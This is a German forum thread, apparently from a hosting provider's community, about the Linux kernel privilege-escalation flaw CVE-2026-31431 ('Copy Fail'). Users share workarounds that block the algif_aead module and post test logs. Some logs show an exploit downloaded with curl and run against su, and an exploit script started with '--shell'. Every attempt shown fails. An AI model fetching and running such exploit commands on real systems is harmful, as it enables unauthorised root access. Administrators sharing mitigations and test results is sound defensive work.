Und die Helden von Red Hat haben noch keinen Fix, damit auch kein Fix für Alma und Rocky.
https://access.redhat.com/security/cve/cve-2026-31431
Aber es gibt einen Workaround:
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"🙂
https://www.agwa.name/blog/post/fastcgi_is_the_better_protocol_for_reverse_proxies
Ohne jetzt in falsche Sicherheit zu wiegen, habe ich gestern natürlich auf einer Ubuntu-24.04-Maschine (x86_64) mit dem GA-Kernel einen Test gemacht und dort funktionierte der beschriebene Exploit nicht; auch im ycombinator-Diskussionsfaden gibt es Nutzer, welche das "Problem" nicht nachvollziehen können:
sys-maint@vserver35<kvm>:~$ uname -a; id -a
Linux vserver35 6.8.0-103-generic #103-Ubuntu SMP PREEMPT_DYNAMIC Tue Feb 10 13:34:59 UTC 2026 x86_64 GNU/Linux
uid=500(sys-maint) gid=4(adm) Gruppen=4(adm),27(sudo),100(users)
sys-maint@vserver35<kvm>:~$ /snap/bin/canonical-livepatch status
last check: 48 minutes ago
kernel: 6.8.0-103.103-generic
server check-in: succeeded
kernel state: ✓ kernel series 6.8 is covered by Livepatch
patch state: ✓ no livepatches available for kernel 6.8.0-103.103-generic
tier: updates (Free usage; This machine beta tests new patches.)
machine id: [REDACTED]
sys-maint@vserver35<kvm>:~$ ls -l /usr/bin/su
-rwsr-xr-x 1 root root 55680 6. Mär 16:00 /usr/bin/su
sys-maint@vserver35<kvm>:~$ curl -s https://copy.fail/exp >/tmp/copy_fail_exp.py
[REMINDER: Code immer erst ansehen, bevor man ihn ausführt!]
sys-maint@vserver35<kvm>:~$ python3 /tmp/copy_fail_exp.py && su
Password: su: Authentication failure
Password:
su: Authentication failure
sys-maint@vserver35<kvm>:~$ id -a
uid=500(sys-maint) gid=4(adm) Gruppen=4(adm),27(sudo),100(users)
sys-maint@vserver35<kvm>:~$ EDIT2: Es könnte sein, dass bei den existierenden proof-of-concept-Beispielen auch die verfügbaren Nutzerkonten eine Rolle und die SELinux-Konfigurationen der Hosts eine Rolle spielen (GrapheneOS bspw. ist immun), wie in diesem GitHub-Repository erläutert; das dortige Test-Script gefällt jedenfalls und sollte via `dsh`/`ansible` o. ä. problemlos auf allen Hosts mit Python 3.10 oder neuer ausführbar sein:
[2026-04-30T09:03:36+0200] sys-maint@vserver02<kvm>:~% python3.10 ./test_cve_2026_31431.py
[*] CVE-2026-31431 detector kernel=5.15.0-170-generic arch=x86_64
[i] Kernel 5.15.0-170-generic predates the affected 6.12/6.17/6.18 lines; trigger may not apply even if prerequisites match.
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
[!] Surrounding bytes: 50574e444641494c2d53454e (b'PWNDFAIL-SEN')
[!] Apply the upstream fix or block algif_aead immediately.
[2026-04-30T09:03:40+0200] sys-maint@vserver02<kvm>:~% python3.10 ./exploit_cve_2026_31431.py --shell
[*] CVE-2026-31431 LPE user=sys-maint uid=500
[*] /etc/passwd: sys-maint UID field at offset 1406 = '500'
[!] UID '500' is 3 chars; this technique needs a 4-digit UID (e.g. 1000-9999).
[!] Pick a different user or extend with multi-shot writes.
[2026-04-30T09:03:45+0200] sys-maint@vserver02<kvm>:~% EDIT1: Wer meint, dank Nutzung eines aarch64-Servers sei er gegen den copy.fail-Exploit per se immun – dem ist nicht (mehr) so, es gibt inzwischen einen architekturunabhängigen proof-of-concept auf GitHub.
Architectures supported by the vendored nolibc (per upstream): x86_64, i386, arm, aarch64, riscv32/64, mips, ppc, s390x, loongarch, m68k, sh, sparc. nolibc dispatches on the compiler's arch macros, so picking the right CC/LD is sufficient.
Ich hab trixie und da geht das wahrscheinlich.
Hallo Lars,
wir haben selbstverständlich umgehend nach Bekanntwerden dieser Sicherheitslücke geeignete Schutzmaßnahmen bei den durch uns verwalteten Systemen (wie Webhosting-Server und managed Server) vorgenommen.
Danke für Deine Info.
Es besteht somit keine Gefährdung für unsere Kunden durch diesen Sachverhalt (die Betriebssysteme von unmanaged Produkten wie Root-Server / VPS usw. sollten natürlich durch den jeweiligen Kunden aktualisiert werden, darauf haben wir keinen Einfluss).
Verständlich das Du es so erwähnen erwähnen musst. Jedoch zugleich traurig, dass man sicherheitshalber (zur Auffrischung) erwähnen muss, dass die Betriebssysteme von unmanaged Produkten wie Root-Server / VPS usw. durch den jeweiligen Kunden aktualisiert werden, Denn es könnten manche nicht wissen oder vergessen haben.
it doesn't involve remote code execution and requires local access
betrifft mich nicht.
Tolle Sache, da ist wohl so einiges übelst verbockt worden. Wer hat sich denn sowas ausgedacht?
Ich habe erst mal alle aktuell nicht zwingend gebrauchten Server runtergefahren. Nur der Mailserver hier bei netcup läuft noch. Der ist nur von zuhause und auch von da nur per IPv6 erreichbar. Zusätzlich über einen Jumphost bei Strota. Jedenfalls über SSH. Aber das reicht ja wahrscheinlich nicht, muss ich mir nochmal alles durchlesen und wohl den Patch versuchen. Den Jumphost habe ich auch runtergefahren solange er nicht gebraucht wird.
Danach kann ich dann ja mal drangehen, einige Server weltweit in ein eigenes Botnet zu integrieren 
.
Ich habe erst mal alle aktuell nicht zwingend gebrauchten Server runtergefahren.
Ganz so drastische Maßnahmen muss man derzeit nicht ergreifen, wenn man selbst einen Root-Zugang besitzt und eine Linux-Distribution verwendet, welche den betreffenden Code als Modul nachlädt (siehe hier und hier) :
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/nullCreating a separate post so more people see this: the mitigation recommended by [Theori.io] for [copy.fail] *WILL NOT WORK* for any RHEL or RHEL-derived distro, including CentOS, Fedora, Oracle, and Alma as the vulnerable code is built-in.
[netcup] Lars S. : Vielleicht wäre das eine gute Gelegenheit, eine "Kundenwarnungs-Seite" und/oder einen RSS-Feed aufzusetzen für derartige Situationen?
Ich habe ChatGPT gefragt wie das NetCup Rechenzentrum so aussieht.
Ich habe ChatGPT gefragt wie das NetCup Rechenzentrum so aussieht.
Irre auf den ersten Blick hab ich vor lauter Goblins und grünem Schleim gar keine Enten gesehen. So ein absoluter AI Slop sondergleichen. Aber schon auch cool mit den Reflexionen im Wasser und den Kaffeetassen.
Grundsätzlich ist mir die Vorstellung, dass unsere Admins Goblins sind ein bisschen zu dark. Auch wenn manche nach der letzten Preiserhöhung so denken.. 
Nein, nein die Admins sind fleissige Entchens, die sicherstellen, dass unsere Server brav online bleiben.
Sieht cool aus. Man könnte fast meinen es real in deren RZ. 
Hallo zusammen,
ich habe gerade die vergangenen 2 Seiten an Beiträge durchgelesen. Aber irgendwie stehe ich gerade etwas auf der Leitung. 
Was Updates betrifft bin ich auf den aktuellen Stand (was zu erhalten ist).
Aber muss ich jetzt für Trixie zusätzlich ein zur Verfügung gestelltes Patchfile downloaden und manuell installieren?
Aber muss ich jetzt für Trixie zusätzlich ein zur Verfügung gestelltes Patchfile downloaden und manuell installieren?
https://debiansupport.com/blog/copy-fail-cve-2026-31431-mitigation/
Ganz so drastische Maßnahmen muss man derzeit nicht ergreifen, wenn man selbst einen Root-Zugang besitzt (siehe hier) :
Codesudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false' sudo rmmod algif_aead 2>/dev/null
Ja, das habe ich jetzt mal auf zwei Servern hier bei netcup gemacht und es scheint zu funktionieren. Die anderen ziehe ich dann nach.wie ich sie brauche.
Hallo zusammen,
ich habe gerade die vergangenen 2 Seiten an Beiträge durchgelesen. Aber irgendwie stehe ich gerade etwas auf der Leitung.
Was Updates betrifft bin ich auf den aktuellen Stand (was zu erhalten ist).
Aber muss ich jetzt für Trixie zusätzlich ein zur Verfügung gestelltes Patchfile downloaden und manuell installieren?
Es empfiehlt sich schon das zu machen, was m_ueberall geschrieben und verlinkt hat. Ist ja schnell erledigt, die meiste Zeit kostet noch das Anmelden als root. Irgendwann wird es zwar offiziell gefixt werden, aber gestern war jedenfalls noch kein Update in Sicht.
CVE-2026-31431 („Copy Fail") Mitigation
Habe ich auf 8 Servern gemacht.
Das rein in die Bash:
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
sudo update-initramfs -u
sudo modprobe algif_aead; echo $?Und so sollte das Ergebnis ausschauen (der Error ist in dem Falle gewollt):
# sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
sudo update-initramfs -u
sudo modprobe algif_aead; echo $?
install algif_aead /bin/false
update-initramfs: Generating /boot/initrd.img-6.1.0-43-amd64
modprobe: ERROR: ../libkmod/libkmod-module.c:1047 command_do() Error running install command '/bin/false' for module algif_aead: retcode 1
modprobe: ERROR: could not insert 'algif_aead': Invalid argument
1
Durch sudo update-initramfs -u dauert ca 40 Sekunden und es ist damit die Sperre auch in der allerersten Boot-Phase greift, nicht erst, wenn das normale System schon läuft.
Reboot nicht erforderlich. Es sollte fortan lsmod | grep algif_aead eine leere Ausgabe geben.
Interessant bei dem Thema finde ich gerade, dass der PoC in meiner lokalen Debian 12 Test-VM gar nicht funktioniert.
Das Python-Skript läuft fehlerfrei durch, aber das su Binary ist danach nicht "vergiftet" und weiterhin das Original, welches nach dem root Passwort zur Authentifikation fragt. Ich sehe aber danach, dass das Modul "algif_aead" tatsächlich geladen wurde.
Nach der modprobe Konfiguration von m_ueberallquittiert das PoC-Skript aber bereits mit einem fatalen Fehler. Das Modul ist danach auch nicht mehr geladen.
Da das Modul auf keinen meiner Produktivsystem vorher geladen/genutzt war, sehe ich aber auch keinen Schaden, es pro-aktiv - fürs bessere Gewissen - überall tot zu stellen.
Eine passwortlose Rootshell vor Deaktivierung zu erhalten und erst danach nicht mehr, hätte ich mich aber eigentlich schon interessiert. Im Sinne von: "Hab ich was falsch gemacht?"
Auf GitHub werden derzeit Testergebnisse zusammengetragen, und die sind doch sehr … durchwachsen. Die "copy.fail-Thematik" ist offenbar komplexer/von mehreren Vorbedingungen abhängig und damit weniger generisch, als es die Exploit-Beschreibung glauben macht.
Aber solange sich kein lokaler Dienst auf den Hosts lautstark beschwert, dass er "so nicht arbeiten könne", bleibt die obige Lösung hier permanent installiert und kommt in die eigene Standardinstallationsschablone (und auch in alle Rescue-Abbilder!) …
Hallo zusammen,
wir wollten euch hier nur kurz darauf aufmerksam machen, dass Ubuntu 26.04 ab sofort im SCP (unter "Images") zur Verfügung steht.
Wir wünschen viel Spaß beim Ausprobieren! 
Liebe Grüße
Sarah & das netcup-Team